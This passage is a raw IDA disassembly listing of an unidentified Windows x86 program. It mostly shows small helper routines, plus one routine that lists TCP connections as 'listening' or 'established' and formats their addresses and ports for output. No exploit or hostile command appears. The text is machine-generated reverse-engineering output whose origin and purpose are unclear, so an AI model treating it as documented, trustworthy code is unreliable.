XREF: ___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449128 call sub_401771 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418990 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418990 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A00 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418A00 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418A40 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418A40 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AF0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D98 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_418AF0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A pop esi add esp, 0Ch retn sub_418B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B70 proc near ; CODE XREF: sub_4020A4j push esi mov esi, ecx call sub_401532 mov eax, esi pop esi retn sub_418B70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B90 proc near ; CODE XREF: sub_402234j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418B90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015DC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418BB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BE0 proc near ; CODE XREF: sub_401703j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40223E neg al sbb eax, eax inc eax retn 4 sub_418BE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_401438j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jz short loc_418C6A loc_418C28: ; CODE XREF: sub_418C10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40184D test al, al jnz short loc_418C28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418C10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_402103j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D6B sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_40155Aj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jz short loc_418D1A loc_418CD8: ; CODE XREF: sub_418CC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40216C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401703 test al, al jnz short loc_418CD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418D1A: ; CODE XREF: sub_418CC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C67 sub_418D50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418D65 mov edi, esi loc_418D65: ; CODE XREF: ___:00418D61j push esi call sub_4015DC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418D7A mov edi, esi loc_418D7A: ; CODE XREF: ___:00418D76j push esi call sub_401B31 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418DA0 proc near ; CODE XREF: sub_40207Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013FC sub_418DA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DC0 proc near ; CODE XREF: sub_4015DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418DC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418DE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E00 proc near ; CODE XREF: sub_401532j mov eax, ecx retn sub_418E00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E20 proc near ; CODE XREF: sub_401D98j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020FE mov eax, esi pop esi retn 4 sub_418E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E50 proc near ; CODE XREF: sub_40223Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418E50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C9E mov esi, eax push esi call sub_401A96 push esi mov ebx, eax call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [ebx] push esi mov [eax], edx call sub_401C6C push esi mov ebx, eax call sub_401A96 mov eax, [eax] push eax call sub_401C6C mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_40176C push esi mov ecx, edi call sub_402103 sub_418E80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F40 proc near ; CODE XREF: sub_401D6Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_418F40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F28 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418F60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F90 proc near ; CODE XREF: sub_40216Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401EEC mov esi, eax push esi call sub_4015DC push esi mov ebx, eax call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [ebx] push esi mov [eax], edx call sub_401B31 push esi mov ebx, eax call sub_4015DC mov eax, [eax] push eax call sub_401B31 mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018D4 push esi mov ecx, edi call sub_40207C sub_418F90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401B31j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_419050 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419070 proc near ; CODE XREF: sub_401C67j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_419070 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190A0 proc near ; CODE XREF: sub_4013FCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4190A0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190C0 proc near ; CODE XREF: sub_4020FEj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4190C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4190E0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4190E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; CODE XREF: sub_40176Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419130 proc near ; CODE XREF: sub_4018D4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419150 proc near ; CODE XREF: sub_401EECj mov eax, [ecx] retn sub_419150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4191B0 proc near ; CODE XREF: sub_402121j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4191B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43F074 call sub_437AEA sub_4191B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41921D mov ecx, eax call sub_401F2D ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41921D: ; CODE XREF: ___:004191FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419270 proc near ; CODE XREF: sub_401F2Dj push 0FFFFFFFFh push offset SEH_419270 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_437AEA sub_419270 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4192BE mov ecx, eax call sub_4015C3 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4192BE: ; CODE XREF: ___:004192A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419300 proc near ; CODE XREF: sub_4015C3j mov eax, ecx retn sub_419300 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419320 proc near ; CODE XREF: sub_401974j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419320 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_419320 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4193C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4193C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017EE mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419766 push ebp push edi push offset asc_444600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax call sub_40168B push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+2B8h+var_274] call sub_401870 xor ebp, ebp push offset dword_444D78 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013ED test eax, eax jz short loc_41946F mov [esp+2B4h+var_2A0], 2 jmp short loc_419489 ; --------------------------------------------------------------------------- loc_41946F: ; CODE XREF: sub_4193C0+A3j push offset dword_444D74 lea ecx, [esp+2B8h+var_274] call sub_4013ED test eax, eax jz short loc_419489 mov [esp+2B4h+var_2A0], 1 loc_419489: ; CODE XREF: sub_4193C0+ADj ; sub_4193C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_444D68 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419518 mov esi, dword_511AA8 add eax, 2 push offset dword_444D68 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419518 mov ecx, [ebx+32h] push offset off_444D64 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41974C loc_419518: ; CODE XREF: sub_4193C0+123j ; sub_4193C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h call near ptr 77C2C407h nop add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_437F50 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419742 lea ebp, [esi+14h] loc_419554: ; CODE XREF: sub_4193C0+37Cj cmp dword ptr [ebp-10h], 2 jnz short loc_419568 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41972C loc_419568: ; CODE XREF: sub_4193C0+198j mov ax, [ebp-8] mov esi, dword_511C5C push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40147E mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40147E mov eax, [ebp-10h] sub eax, 2 jz short loc_4195CC sub eax, 3 jnz short loc_4195F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4195D5 ; --------------------------------------------------------------------------- loc_4195CC: ; CODE XREF: sub_4193C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4195D5: ; CODE XREF: sub_4193C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4195F2: ; CODE XREF: sub_4193C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419618 xor ebx, ebx loc_419618: ; CODE XREF: sub_4193C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx call near ptr 77C3FA76h nop mov edi, ebx lea eax, [esp+2C8h+var_118] and edi, 0FFFFh lea ecx, [esp+2C8h+var_224] push edi push eax push offset aSD_1 ; "%s:%d" push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 28h lea ecx, [esp+2B4h+var_28C] call sub_40142E mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4196AE cmp eax, 1 jz loc_419713 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4196A1 cmp eax, esi jnz short loc_419713 loc_4196A1: ; CODE XREF: sub_4193C0+2DBj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4196D4 ; --------------------------------------------------------------------------- loc_4196AE: ; CODE XREF: sub_4193C0+2C7j cmp eax, 2 jz short loc_419713 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4196C2 cmp eax, edi jnz short loc_419713 loc_4196C2: ; CODE XREF: sub_4193C0+2FCj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4196D4: ; CODE XREF: sub_4193C0+2ECj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+2B8h+var_28C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 loc_419713: ; CODE XREF: sub_4193C0+2CCj ; sub_4193C0+2DFj ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41972C: ; CODE XREF: sub_4193C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419554 loc_419742: ; CODE XREF: sub_4193C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41974C: ; CODE XREF: sub_4193C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_419768 ; --------------------------------------------------------------------------- loc_419766: ; CODE XREF: sub_4193C0+3Dj mov al, 1 loc_419768: ; CODE XREF: sub_4193C0+3A4j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4193C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419890 proc near ; CODE XREF: sub_40147Ej var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419950 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41991E mov eax, [esp+30h] test eax, eax jz short loc_41991E push 2 lea edx, [esp+30h+arg_0] push 4 push edx call near ptr 71ABE479h nop test eax, eax jz short loc_419950 mov eax, [eax] push ebx push eax push ebp call near ptr 77C47A90h nop add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41991E: ; CODE XREF: sub_419890+5Aj ; sub_419890+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419950 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419950: ; CODE XREF: sub_419890+52j ; sub_419890+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4199A0 proc near ; CODE XREF: sub_401F0Aj nop call near ptr 27E0BCDh push eax nop call near ptr 77C371BCh pop ecx retn sub_4199A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4199C0 proc near ; CODE XREF: sub_4021C6j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43F0B0 call sub_437BDA sub_4199C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A10: ; CODE XREF: ___:00401C99j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419A30: ; CODE XREF: ___:00401528j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A50 proc near ; CODE XREF: sub_401FE1j xor al, al retn 4 sub_419A50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419A70 proc near ; CODE XREF: sub_40152Dj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, 